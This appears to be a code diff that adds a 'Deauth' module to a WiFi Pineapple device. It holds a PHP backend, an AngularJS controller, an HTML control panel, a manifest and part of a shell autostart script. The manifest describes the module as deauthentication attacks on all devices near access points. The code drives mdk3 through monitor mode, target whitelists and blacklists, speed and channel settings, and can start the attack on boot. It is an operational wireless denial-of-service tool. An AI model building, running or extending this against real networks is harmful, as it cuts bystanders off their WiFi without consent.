||||
}
|
||||
|
||||
private function refreshStatus()
|
||||
{
|
||||
if (!file_exists('/tmp/Deauth.progress'))
|
||||
{
|
||||
if (!$this->checkDependency("mdk3"))
|
||||
{
|
||||
$installed = false;
|
||||
$install = "Not installed";
|
||||
$installLabel = "danger";
|
||||
$processing = false;
|
||||
|
||||
$status = "Start";
|
||||
$statusLabel = "success";
|
||||
|
||||
$bootLabelON = "default";
|
||||
$bootLabelOFF = "danger";
|
||||
}
|
||||
else
|
||||
{
|
||||
$installed = true;
|
||||
$install = "Installed";
|
||||
$installLabel = "success";
|
||||
$processing = false;
|
||||
|
||||
if ($this->checkRunning("mdk3"))
|
||||
{
|
||||
$status = "Stop";
|
||||
$statusLabel = "danger";
|
||||
}
|
||||
else
|
||||
{
|
||||
$status = "Start";
|
||||
$statusLabel = "success";
|
||||
}
|
||||
|
||||
if(exec("cat /etc/rc.local | grep Deauth/scripts/autostart_deauth.sh") == "")
|
||||
{
|
||||
$bootLabelON = "default";
|
||||
$bootLabelOFF = "danger";
|
||||
}
|
||||
else
|
||||
{
|
||||
$bootLabelON = "success";
|
||||
$bootLabelOFF = "default";
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
$installed = false;
|
||||
$install = "Installing...";
|
||||
$installLabel = "warning";
|
||||
$processing = true;
|
||||
|
||||
$status = "Start";
|
||||
$statusLabel = "success";
|
||||
|
||||
$bootLabelON = "default";
|
||||
$bootLabelOFF = "danger";
|
||||
}
|
||||
|
||||
$device = $this->getDevice();
|
||||
$sdAvailable = $this->isSDAvailable();
|
||||
|
||||
$this->response = array("device" => $device, "sdAvailable" => $sdAvailable, "status" => $status, "statusLabel" => $statusLabel, "installed" => $installed, "install" => $install, "installLabel" => $installLabel, "bootLabelON" => $bootLabelON, "bootLabelOFF" => $bootLabelOFF, "processing" => $processing);
|
||||
}
|
||||
|
||||
private function refreshOutput()
|
||||
{
|
||||
if ($this->checkDependency("mdk3"))
|
||||
{
|
||||
if ($this->checkRunning("mdk3"))
|
||||
{
|
||||
exec ("cat /tmp/deauth.log", $output);
|
||||
if(!empty($output))
|
||||
$this->response = implode("\n", array_reverse($output));
|
||||
else
|
||||
$this->response = "Empty log...";
|
||||
}
|
||||
else
|
||||
{
|
||||
$this->response = "Deauth is not running...";
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
$this->response = "mdk3 is not installed...";
|
||||
}
|
||||
}
|
||||
|
||||
private function getInterfaces()
|
||||
{
|
||||
exec("iwconfig 2> /dev/null | grep \"wlan*\" | awk '{print $1}'", $interfaceArray);
|
||||
|
||||
$this->response = array("interfaces" => $interfaceArray, "selected" => $this->uciGet("deauth.run.interface"));
|
||||
}
|
||||
|
||||
private function scanForNetworks()
|
||||
{
|
||||
$interface = escapeshellarg($this->request->interface);
|
||||
if (substr($interface, -4, -1) === "mon") {
|
||||
if ($interface == "'wlan1mon'") {
|
||||
exec("killall pineap");
|
||||
exec("killall pinejector");
|
||||
}
|
||||
exec("airmon-ng stop {$interface}");
|
||||
$interface = substr($interface, 0, -4) . "'";
|
||||
exec("iw dev {$interface} scan &> /dev/null");
|
||||
}
|
||||
exec("iwinfo {$interface} scan", $apScan);
|
||||
|
||||
$apArray = preg_split("/^Cell/m", implode("\n", $apScan));
|
||||
$returnArray = array();
|
||||
foreach ($apArray as $apData) {
|
||||
$apData = explode("\n", $apData);
|
||||
$accessPoint = array();
|
||||
$accessPoint['mac'] = substr($apData[0], -17);
|
||||
$accessPoint['ssid'] = substr(trim($apData[1]), 8, -1);
|
||||
if (mb_detect_encoding($accessPoint['ssid'], "auto") === false) {
|
||||
continue;
|
||||
}
|
||||
|
||||
$accessPoint['channel'] = intval(substr(trim($apData[2]), -2));
|
||||
|
||||
$signalString = explode(" ", trim($apData[3]));
|
||||
$accessPoint['signal'] = substr($signalString[0], 8);
|
||||
$accessPoint['quality'] = substr($signalString[1], 9);
|
||||
|
||||
$security = substr(trim($apData[4]), 12);
|
||||
if ($security === "none") {
|
||||
$accessPoint['security'] = "Open";
|
||||
} else {
|
||||
$accessPoint['security'] = $security;
|
||||
}
|
||||
|
||||
if ($accessPoint['mac'] && trim($apData[1]) !== "ESSID: unknown") {
|
||||
array_push($returnArray, $accessPoint);
|
||||
}
|
||||
}
|
||||
$this->response = $returnArray;
|
||||
}
|
||||
|
||||
private function getSettings()
|
||||
{
|
||||
$settings = array(
|
||||
'speed' => $this->uciGet("deauth.settings.speed"),
|
||||
'channels' => $this->uciGet("deauth.settings.channels"),
|
||||
'mode' => $this->uciGet("deauth.settings.mode")
|
||||
);
|
||||
$this->response = array('settings' => $settings);
|
||||
}
|
||||
|
||||
private function setSettings()
|
||||
{
|
||||
$settings = $this->request->settings;
|
||||
$this->uciSet("deauth.settings.speed", $settings->speed);
|
||||
$this->uciSet("deauth.settings.channels", $settings->channels);
|
||||
$this->uciSet("deauth.settings.mode", $settings->mode);
|
||||
}
|
||||
|
||||
private function saveAutostartSettings()
|
||||
{
|
||||
$settings = $this->request->settings;
|
||||
$this->uciSet("deauth.autostart.interface", $settings->interface);
|
||||
}
|
||||
|
||||
private function getListsData()
|
||||
{
|
||||
$blacklistData = file_get_contents('/pineapple/modules/Deauth/lists/blacklist.lst');
|
||||
$whitelistData = file_get_contents('/pineapple/modules/Deauth/lists/whitelist.lst');
|
||||
$this->response = array("blacklistData" => $blacklistData, "whitelistData" => $whitelistData );
|
||||
}
|
||||
|
||||
private function saveListsData()
|
||||
{
|
||||
$filename = '/pineapple/modules/Deauth/lists/blacklist.lst';
|
||||
file_put_contents($filename, $this->request->blacklistData);
|
||||
|
||||
$filename = '/pineapple/modules/Deauth/lists/whitelist.lst';
|
||||
file_put_contents($filename, $this->request->whitelistData);
|
||||
}
|
||||
|
||||
}
|
|
@ -0,0 +1,375 @@
|
|||
registerController('Deauth_Controller', ['$api', '$scope', '$rootScope', '$interval', '$timeout', function($api, $scope, $rootScope, $interval, $timeout) {
|
||||
$scope.title = "Loading...";
|
||||
$scope.version = "Loading...";
|
||||
|
||||
$scope.refreshInfo = (function() {
|
||||
$api.request({
|
||||
module: 'Deauth',
|
||||
action: "refreshInfo"
|
||||
}, function(response) {
|
||||
$scope.title = response.title;
|
||||
$scope.version = "v"+response.version;
|
||||
})
|
||||
});
|
||||
|
||||
$scope.refreshInfo();
|
||||
|
||||
}]);
|
||||
|
||||
registerController('Deauth_ControlsController', ['$api', '$scope', '$rootScope', '$interval', '$timeout', function($api, $scope, $rootScope, $interval, $timeout) {
|
||||
$scope.status = "Loading...";
|
||||
$scope.statusLabel = "default";
|
||||
$scope.starting = false;
|
||||
|
||||
$scope.install = "Loading...";
|
||||
$scope.installLabel = "default";
|
||||
$scope.processing = false;
|
||||
|
||||
$scope.bootLabelON = "default";
|
||||
$scope.bootLabelOFF = "default";
|
||||
|
||||
$scope.interfaces = [];
|
||||
$scope.selectedInterface = "--";
|
||||
|
||||
$scope.saveSettingsLabel = "default";
|
||||
|
||||
$scope.device = '';
|
||||
$scope.sdAvailable = false;
|
||||
|
||||
$rootScope.status = {
|
||||
installed : false,
|
||||
refreshOutput : false
|
||||
};
|
||||
|
||||
$scope.refreshStatus = (function() {
|
||||
$api.request({
|
||||
module: 'Deauth',
|
||||
action: "refreshStatus"
|
||||
}, function(response) {
|
||||
$scope.status = response.status;
|
||||
$scope.statusLabel = response.statusLabel;
|
||||
|
||||
$rootScope.status.installed = response.installed;
|
||||
$scope.device = response.device;
|
||||
$scope.sdAvailable = response.sdAvailable;
|
||||
if(response.processing) $scope.processing = true;
|
||||
$scope.install = response.install;
|
||||
$scope.installLabel = response.installLabel;
|
||||
|
||||
$scope.bootLabelON = response.bootLabelON;
|
||||
$scope.bootLabelOFF = response.bootLabelOFF;
|
||||
})
|
||||
});
|
||||
|
||||
$scope.togglemdk3 = (function() {
|
||||
if($scope.status != "Stop")
|
||||
$scope.status = "Starting...";
|
||||
else
|
||||
$scope.status = "Stopping...";
|
||||
|
||||
$scope.statusLabel = "warning";
|
||||
$scope.starting = true;
|
||||
|
||||
$rootScope.status.refreshOutput = false;
|
||||
|
||||
$api.request({
|
||||
module: 'Deauth',
|
||||
action: 'togglemdk3',
|
||||
interface: $scope.selectedInterface
|
||||
}, function(response) {
|
||||
$timeout(function(){
|
||||
$rootScope.status.refreshOutput = true;
|
||||
|
||||
$scope.starting = false;
|
||||
$scope.refreshStatus();
|
||||
$scope.getInterfaces();
|
||||
|
||||
}, 3000);
|
||||
})
|
||||
});
|
||||
|
||||
$scope.saveAutostartSettings = (function() {
|
||||
$api.request({
|
||||
module: 'Deauth',
|
||||
action: 'saveAutostartSettings',
|
||||
settings: { interface : $scope.selectedInterface }
|
||||
}, function(response) {
|
||||
$scope.saveSettingsLabel = "success";
|
||||
$timeout(function(){
|
||||
$scope.saveSettingsLabel = "default";
|
||||
}, 2000);
|
||||
})
|
||||
});
|
||||
|
||||
|
||||
$scope.togglemdk3OnBoot = (function() {
|
||||
if($scope.bootLabelON == "default")
|
||||
{
|
||||
$scope.bootLabelON = "success";
|
||||
$scope.bootLabelOFF = "default";
|
||||
}
|
||||
else
|
||||
{
|
||||
$scope.bootLabelON = "default";
|
||||
$scope.bootLabelOFF = "danger";
|
||||
}
|
||||
|
||||
$api.request({
|
||||
module: 'Deauth',
|
||||
action: 'togglemdk3OnBoot',
|
||||
}, function(response) {
|
||||
$scope.refreshStatus();
|
||||
})
|
||||
});
|
||||
|
||||
$scope.handleDependencies = (function(param) {
|
||||
if(!$rootScope.status.installed)
|
||||
$scope.install = "Installing...";
|
||||
else
|
||||
$scope.install = "Removing...";
|
||||
|
||||
$api.request({
|
||||
module: 'Deauth',
|
||||
action: 'handleDependencies',
|
||||
destination: param
|
||||
}, function(response){
|
||||
if (response.success === true) {
|
||||
$scope.installLabel = "warning";
|
||||
$scope.processing = true;
|
||||
|
||||
$scope.handleDependenciesInterval = $interval(function(){
|
||||
$api.request({
|
||||
module: 'Deauth',
|
||||
action: 'handleDependenciesStatus'
|
||||
}, function(response) {
|
||||
if (response.success === true){
|
||||
$scope.processing = false;
|
||||
$interval.cancel($scope.handleDependenciesInterval);
|
||||
$scope.refreshStatus();
|
||||
}
|
||||
});
|
||||
}, 5000);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
$scope.getInterfaces = (function() {
|
||||
$api.request({
|
||||
module: 'Deauth',
|
||||
action: 'getInterfaces'
|
||||
}, function(response) {
|
||||
$scope.interfaces = response.interfaces;
|
||||
if(response.selected != "")
|
||||
$scope.selectedInterface = response.selected;
|
||||
else
|
||||
$scope.selectedInterface = $scope.interfaces[0];
|
||||
});
|
||||
});
|
||||
|
||||
$scope.refreshStatus();
|
||||
$scope.getInterfaces();
|
||||
|
||||
}]);
|
||||
|
||||
registerController('Deauth_OutputController', ['$api', '$scope', '$rootScope', '$interval', function($api, $scope, $rootScope, $interval) {
|
||||
$scope.output = 'Loading...';
|
||||
$scope.filter = '';
|
||||
|
||||
$scope.refreshLabelON = "default";
|
||||
$scope.refreshLabelOFF = "danger";
|
||||
|
||||
$scope.refreshOutput = (function() {
|
||||
$api.request({
|
||||
module: 'Deauth',
|
||||
action: "refreshOutput"
|
||||
}, function(response) {
|
||||
$scope.output = response;
|
||||
})
|
||||
});
|
||||
|
||||
$scope.toggleAutoRefresh = (function() {
|
||||
if($scope.autoRefreshInterval)
|
||||
{
|
||||
$interval.cancel($scope.autoRefreshInterval);
|
||||
$scope.autoRefreshInterval = null;
|
||||
$scope.refreshLabelON = "default";
|
||||
$scope.refreshLabelOFF = "danger";
|
||||
}
|
||||
else
|
||||
{
|
||||
$scope.refreshLabelON = "success";
|
||||
$scope.refreshLabelOFF = "default";
|
||||
|
||||
$scope.autoRefreshInterval = $interval(function(){
|
||||
$scope.refreshOutput();
|
||||
}, 5000);
|
||||
}
|
||||
});
|
||||
|
||||
$scope.refreshOutput();
|
||||
|
||||
$rootScope.$watch('status.refreshOutput', function(param) {
|
||||
if(param) {
|
||||
$scope.refreshOutput();
|
||||
}
|
||||
});
|
||||
|
||||
}]);
|
||||
|
||||
registerController('Deauth_EditorController', ['$api', '$scope', '$rootScope', '$timeout', function($api, $scope, $rootScope, $timeout) {
|
||||
$scope.accessPoints = [];
|
||||
$scope.selectedAP = {};
|
||||
|
||||
$scope.scanLabel = "default";
|
||||
$scope.scan = "Scan";
|
||||
$scope.scanning = false;
|
||||
|
||||
$scope.saveListsLabel = "primary";
|
||||
$scope.saveLists = "Save";
|
||||
$scope.saving = false;
|
||||
|
||||
$scope.blacklistData = '';
|
||||
$scope.whitelistData = '';
|
||||
|
||||
$scope.clearWhitelist = (function() {
|
||||
$scope.whitelistData = '';
|
||||
});
|
||||
|
||||
$scope.clearBlacklist = (function() {
|
||||
$scope.blacklistData = '';
|
||||
});
|
||||
|
||||
$scope.getListsData = (function() {
|
||||
$api.request({
|
||||
module: 'Deauth',
|
||||
action: 'getListsData'
|
||||
}, function(response) {
|
||||
$scope.blacklistData = response.blacklistData;
|
||||
$scope.whitelistData = response.whitelistData;
|
||||
});
|
||||
});
|
||||
|
||||
$scope.saveListsData = (function() {
|
||||
$scope.saveListsLabel = "warning";
|
||||
$scope.saveLists = "Saving...";
|
||||
$scope.saving = true;
|
||||
|
||||
$api.request({
|
||||
module: 'Deauth',
|
||||
action: 'saveListsData',
|
||||
blacklistData: $scope.blacklistData,
|
||||
whitelistData: $scope.whitelistData
|
||||
}, function(response) {
|
||||
$scope.saveListsLabel = "success";
|
||||
$scope.saveLists = "Saved";
|
||||
|
||||
$timeout(function(){
|
||||
$scope.saveListsLabel = "primary";
|
||||
$scope.saveLists = "Save";
|
||||
$scope.saving = false;
|
||||
}, 2000);
|
||||
});
|
||||
});
|
||||
|
||||
$scope.addWhitelist = (function() {
|
||||
if($scope.whitelistData != "")
|
||||
$scope.whitelistData = $scope.whitelistData + '\n' + '# ' + $scope.selectedAP.ssid + '\n' + $scope.selectedAP.mac;
|
||||
else
|
||||
$scope.whitelistData = '# ' + $scope.selectedAP.ssid + '\n' + $scope.selectedAP.mac;
|
||||
});
|
||||
|
||||
$scope.addBlacklist = (function() {
|
||||
if($scope.blacklistData != "")
|
||||
$scope.blacklistData = $scope.blacklistData + '\n' + '# ' + $scope.selectedAP.ssid + '\n' + $scope.selectedAP.mac;
|
||||
else
|
||||
$scope.blacklistData = '# ' + $scope.selectedAP.ssid + '\n' + $scope.selectedAP.mac;
|
||||
});
|
||||
|
||||
$scope.scanForNetworks = (function() {
|
||||
$scope.scanLabel = "warning";
|
||||
$scope.scan = "Scanning...";
|
||||
$scope.scanning = true;
|
||||
|
||||
$api.request({
|
||||
module: 'Deauth',
|
||||
action: 'scanForNetworks',
|
||||
interface: $scope.selectedInterface
|
||||
}, function(response) {
|
||||
$scope.scanLabel = "success";
|
||||
$scope.scan = "Done";
|
||||
|
||||
$timeout(function(){
|
||||
$scope.scanLabel = "default";
|
||||
$scope.scan = "Scan";
|
||||
$scope.scanning = false;
|
||||
}, 2000);
|
||||
|
||||
$scope.accessPoints = response;
|
||||
$scope.selectedAP = $scope.accessPoints[0];
|
||||
});
|
||||
});
|
||||
|
||||
$scope.getInterfaces = (function() {
|
||||
$api.request({
|
||||
module: 'Deauth',
|
||||
action: 'getInterfaces'
|
||||
}, function(response) {
|
||||
$scope.interfaces = response.interfaces;
|
||||
if(response.selected != "")
|
||||
$scope.selectedInterface = response.selected;
|
||||
else
|
||||
$scope.selectedInterface = $scope.interfaces[0];
|
||||
});
|
||||
});
|
||||
|
||||
$scope.getInterfaces();
|
||||
$scope.getListsData();
|
||||
|
||||
}]);
|
||||
|
||||
registerController('Deauth_SettingsController', ['$api', '$scope', '$rootScope', '$timeout', function($api, $scope, $rootScope, $timeout) {
|
||||
$scope.settings = {
|
||||
speed : "",
|
||||
channels : "",
|
||||
mode : "whitelist"
|
||||
};
|
||||
|
||||
$scope.saveSettingsLabel = "primary";
|
||||
$scope.saveSettings = "Save";
|
||||
$scope.saving = false;
|
||||
|
||||
$scope.getSettings = function() {
|
||||
$api.request({
|
||||
module: 'Deauth',
|
||||
action: 'getSettings'
|
||||
}, function(response) {
|
||||
$scope.settings = response.settings;
|
||||
});
|
||||
};
|
||||
|
||||
$scope.setSettings = function() {
|
||||
$scope.saveSettingsLabel = "warning";
|
||||
$scope.saveSettings = "Saving...";
|
||||
$scope.saving = true;
|
||||
|
||||
$api.request({
|
||||
module: 'Deauth',
|
||||
action: 'setSettings',
|
||||
settings: $scope.settings
|
||||
}, function(response) {
|
||||
$scope.getSettings();
|
||||
|
||||
$scope.saveSettingsLabel = "success";
|
||||
$scope.saveSettings = "Saved";
|
||||
|
||||
$timeout(function(){
|
||||
$scope.saveSettingsLabel = "primary";
|
||||
$scope.saveSettings = "Save";
|
||||
$scope.saving = false;
|
||||
}, 2000);
|
||||
});
|
||||
};
|
||||
|
||||
$scope.getSettings();
|
||||
|
||||
}]);
|
|
@ -0,0 +1,232 @@
|
|||
<div class="panel panel-default" ng-controller="Deauth_Controller"><div class="panel-heading"><h4 class="panel-title pull-left">{{title}}</h4><span class="pull-right">{{version}}</span><div class="clearfix"></div></div></div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-md-4">
|
||||
<div class="panel panel-default" ng-controller="Deauth_ControlsController">
|
||||
<div class="panel-heading">
|
||||
<h3 class="panel-title">
|
||||
Controls
|
||||
<span class="dropdown">
|
||||
<ul class="dropdown-menu" aria-labelledby="poolDropdown">
|
||||
<li ng-click="saveAutostartSettings()"><a>Save settings for start on boot</a></li>
|
||||
</ul>
|
||||
<button class="btn btn-xs btn-{{saveSettingsLabel}} dropdown-toggle" type="button" id="poolDropdown" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
|
||||
<span class="caret"></span>
|
||||
</button>
|
||||
</span>
|
||||
</h3>
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
<table style="width:100%">
|
||||
<tr>
|
||||
<td style="padding-bottom: .5em;" class="text-muted">Dependencies</td>
|
||||
<td ng-hide="$root.status.installed" style="text-align:right;padding-bottom: .5em;"><button type="button" style="width: 90px;" class="btn btn-{{installLabel}} btn-xs" data-toggle="modal" data-target="#dependenciesInstallModal" ng-disabled="processing">{{install}}</button></td>
|
||||
<td ng-show="$root.status.installed" style="text-align:right;padding-bottom: .5em;"><button type="button" style="width: 90px;" class="btn btn-{{installLabel}} btn-xs" data-toggle="modal" data-target="#dependenciesRemoveModal" ng-disabled="processing">{{install}}</button></td>
|
||||
</tr>
|
||||
<tr class="form-inline" ng-show="$root.status.installed">
|
||||
<td style="padding-bottom: .5em;" class="text-muted">mdk3</td>
|
||||
<td style="text-align:right;padding-bottom: .5em;">
|
||||
<select class="form-control input-sm" ng-disabled="starting || status == 'Stop'" ng-model="selectedInterface">
|
||||
<option ng-repeat="interface in interfaces">{{ interface }}</option>
|
||||
</select>
|
||||
<button type="button" style="width: 90px;" class="btn btn-{{statusLabel}} btn-xs" ng-disabled="starting" ng-click="togglemdk3()">{{status}}</button></td>
|
||||
</tr>
|
||||
<tr ng-show="$root.status.installed">
|
||||
<td style="padding-bottom: .5em;" class="text-muted">Start on boot</td>
|
||||
<td style="text-align:right;padding-bottom: .5em;">
|
||||
<div class="btn-group">
|
||||
<button ng-click="togglemdk3OnBoot()" class="btn btn-xs btn-{{bootLabelON}}">ON</button>
|
||||
<button ng-click="togglemdk3OnBoot()" class="btn btn-xs btn-{{bootLabelOFF}}">OFF</button>
|
||||
</div>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<div class="modal fade" id="dependenciesInstallModal" tabindex="-1" role="dialog" aria-labelledby="dependenciesModalLabel">
|
||||
<div class="modal-dialog" role="document">
|
||||
<div class="modal-content">
|
||||
<div class="modal-header">
|
||||
<button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button>
|
||||
<h4 class="modal-title" id="dependenciesInstallModalLabel">Install dependencies</h4>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
All required dependencies have to be installed first. This may take a few minutes.<br /><br />
|
||||
Please wait, do not leave or refresh this page. Once the install is complete, this page will refresh automatically.
|
||||
</div>
|
||||
<div class="modal-footer">
|
||||
<button type="button" class="btn btn-info" ng-click="handleDependencies('internal')" data-dismiss="modal">Internal</button>
|
||||
<button type="button" class="btn btn-info" ng-hide="device == 'tetra' || sdAvailable == false" ng-click="handleDependencies('sd')" data-dismiss="modal">SD Card</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="modal fade" id="dependenciesRemoveModal" tabindex="-1" role="dialog" aria-labelledby="dependenciesModalLabel">
|
||||
<div class="modal-dialog" role="document">
|
||||
<div class="modal-content">
|
||||
<div class="modal-header">
|
||||
<button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button>
|
||||
<h4 class="modal-title" id="dependenciesRemoveModalLabel">Remove dependencies</h4>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
All required dependencies will be removed. This may take a few minutes.<br /><br />
|
||||
Please wait, do not leave or refresh this page. Once the remove is complete, this page will refresh automatically.
|
||||
</div>
|
||||
<div class="modal-footer">
|
||||
<button type="button" class="btn btn-default" data-dismiss="modal">Cancel</button>
|
||||
<button type="button" class="btn btn-info" ng-click="handleDependencies()" data-dismiss="modal">Confirm</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="panel panel-default" ng-show="$root.status.installed" ng-controller="Deauth_SettingsController">
|
||||
<div class="panel-heading pointer" data-toggle="collapse" data-target="#Settings">
|
||||
<h4 class="panel-title">Settings</h4>
|
||||
</div>
|
||||
<div id="Settings" class="panel-collapse collapse">
|
||||
<div class="panel-body">
|
||||
|
||||
<div class="form-group">
|
||||
<div class="btn-group pull-right">
|
||||
<button class="btn btn-{{saveSettingsLabel}} btn-sm" ng-disabled="saving" ng-click="setSettings()">{{saveSettings}}</button>
|
||||
</div>
|
||||
<div class="clearfix"></div>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<div class="input-group">
|
||||
<span class="input-group-addon input-sm">Mode</span>
|
||||
<select ng-model="settings.mode" class="form-control input-sm">
|
||||
<option>normal</option>
|
||||
<option>whitelist</option>
|
||||
<option>blacklist</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<div class="input-group">
|
||||
<span class="input-group-addon input-sm">Speed</span>
|
||||
<input type="text" class="form-control input-sm" ng-model="settings.speed" placeholder="Speed in packets per second">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<div class="input-group">
|
||||
<span class="input-group-addon input-sm">Channels</span>
|
||||
<input type="text" class="form-control input-sm" ng-model="settings.channels" placeholder="Channels">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="panel panel-default" ng-show="$root.status.installed" ng-controller="Deauth_EditorController">
|
||||
<div class="panel-heading pointer" data-toggle="collapse" data-target="#Editor">
|
||||
<h4 class="panel-title">Editor</h4>
|
||||
</div>
|
||||
<div id="Editor" class="panel-collapse collapse">
|
||||
<div class="panel-body">
|
||||
<div class="form-group">
|
||||
<div class="input-group">
|
||||
<select class="form-control input-sm" ng-model="selectedInterface">
|
||||
<option ng-repeat="interface in interfaces">{{ interface }}</option>
|
||||
</select>
|
||||
<span class="input-group-btn">
|
||||
<button class="btn btn-{{scanLabel}} btn-sm" ng-disabled="scanning" ng-click="scanForNetworks()">{{scan}}</button>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<div class="input-group">
|
||||
<select class="form-control input-sm" ng-disabled="accessPoints.length === 0" ng-options="ap.ssid for ap in accessPoints track by ap.mac" ng-model="selectedAP"></select>
|
||||
<span class="input-group-btn">
|
||||
<button class="btn btn-default btn-sm" type="button" ng-disabled="accessPoints.length === 0 || selectedAP == '--'" ng-click="addWhitelist()">Add to Whitelist</button>
|
||||
<button class="btn btn-default btn-sm" type="button" ng-disabled="accessPoints.length === 0 || selectedAP == '--'" ng-click="addBlacklist()">Add to Blacklist</button>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="form-group">
|
||||
<div class="input-group pull-right">
|
||||
<button type="submit" class="btn btn-{{saveListsLabel}} btn-sm pull-right" ng-disabled="saving" ng-click="saveListsData()">{{saveLists}}</button>
|
||||
</div>
|
||||
<div class="clearfix"></div>
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-md-6">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
<h3 class="panel-title">
|
||||
Whitelist
|
||||
<span class="dropdown">
|
||||
<button class="btn btn-xs btn-default dropdown-toggle" type="button" id="poolDropdown" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
|
||||
<span class="caret"></span>
|
||||
</button>
|
||||
<ul class="dropdown-menu" aria-labelledby="poolDropdown">
|
||||
<li ng-click="clearWhitelist()"><a>Clear</a></li>
|
||||
</ul>
|
||||
</span>
|
||||
</h3>
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
<p>
|
||||
<textarea class="form-control" rows="15" ng-model="whitelistData"></textarea>
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="col-md-6">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
<h3 class="panel-title">
|
||||
Blacklist
|
||||
<span class="dropdown">
|
||||
<button class="btn btn-xs btn-default dropdown-toggle" type="button" id="poolDropdown" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
|
||||
<span class="caret"></span>
|
||||
</button>
|
||||
<ul class="dropdown-menu" aria-labelledby="poolDropdown">
|
||||
<li ng-click="clearBlacklist()"><a>Clear</a></li>
|
||||
</ul>
|
||||
</span>
|
||||
</h3>
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
<p>
|
||||
<textarea class="form-control" rows="15" ng-model="blacklistData"></textarea>
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="panel panel-default" ng-show="$root.status.installed" ng-controller="Deauth_OutputController">
|
||||
<div class="panel-heading">
|
||||
<h4 class="panel-title pull-left">Output</h4>
|
||||
<div class="pull-right">
|
||||
Auto-refresh <div class="btn-group">
|
||||
<button ng-click="toggleAutoRefresh()" class="btn btn-xs btn-{{refreshLabelON}}">ON</button>
|
||||
<button ng-click="toggleAutoRefresh()" class="btn btn-xs btn-{{refreshLabelOFF}}">OFF</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="clearfix"></div>
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
<button class="btn btn-primary btn-sm pull-right" ng-click="refreshOutput()">Refresh Log</button><div class="clearfix"></div>
|
||||
<pre class="scrollable-pre log-pre">{{output}}</pre>
|
||||
</div>
|
||||
</div>
|
|
@ -0,0 +1,10 @@
|
|||
{
|
||||
"author": "Whistle Master",
|
||||
"description": "Deauthentication attacks of all devices connected to APs nearby",
|
||||
"devices": [
|
||||
"nano",
|
||||
"tetra"
|
||||
],
|
||||
"title": "Deauth",
|
||||
"version": "1.4"
|
||||
}
|
|
@ -0,0 +1,99 @@
|
|||
#!/bin/sh
|
||||
#2015 - Whistle Master
|
||||
|
||||
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/sd/lib:/sd/usr/lib
|
||||
export PATH=$PATH:/sd/usr/bin:/sd/usr/sbin
|
||||
|
||||
LOG=/tmp/deauth.log
|
||||
MYPATH='/pineapple/modules/Deauth/'
|
||||
|
||||
MYMONITOR=''
|
||||
MYINTERFACE=`uci get deauth.autostart.interface`
|
||||
|
||||
SPEED=`uci get deauth.settings.speed`
|
||||
CHANNEL=`uci get deauth.settings.channel`
|
||||
MODE=`uci get deauth.settings.mode`
|
||||
|
||||
WHITELIST=${MYPATH}lists/whitelist.lst
|
||||
TMPWHITELIST=${MYPATH}lists/whitelist.tmp
|
||||
BLACKLIST=${MYPATH}lists/blacklist.lst
|
||||
TMPBLACKLIST=${MYPATH}lists/blacklist.tmp
|
||||
|
||||
killall -9 mkd3
|
||||
rm ${TMPBLACKLIST}
|
||||
rm ${TMPWHITELIST}
|
||||
rm ${LOG}
|
||||
|
||||
echo -e "Starting Deauth..." > ${LOG}
|
||||
|
||||
if [ -z "$MYINTERFACE" ]; then
|
||||
MYINTERFACE=`iwconfig 2> /dev/null | grep "Mode:Master" | awk '{print $1}' | head -1`
|
||||
else
|
||||
MYFLAG=`iwconfig 2> /dev/null | awk '{print $1}' | grep ${MYINTERFACE}`
|
||||
|
||||
if [ -z "$MYFLAG" ]; then
|
||||
MYINTERFACE=`iwconfig 2> /dev/null | grep "Mode:Master" | awk '{print $1}' | head -1`
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ -z "$MYMONITOR" ]; then
|
||||
MYMONITOR=`iwconfig 2> /dev/null | grep "Mode:Monitor" | awk '{print $1}' | grep ${MYINTERFACE}`
|
||||
|
||||
MYFLAG=`iwconfig 2> /dev/null | awk '{print $1}' | grep ${MYMONITOR}`
|
||||
|
||||
if [ -z "$MYFLAG" ]; then
|
||||
airmon-ng start ${MYINTERFACE}
|
||||
MYMONITOR=`iwconfig 2> /dev/null | grep "Mode:Monitor" | awk '{print $1}' | grep ${MYINTERFACE}`
|
||||
fi
|
||||
else
|
||||
MYFLAG=`iwconfig 2> /dev/null | awk '{print $1}' | grep ${MYMONITOR}`
|
||||
|
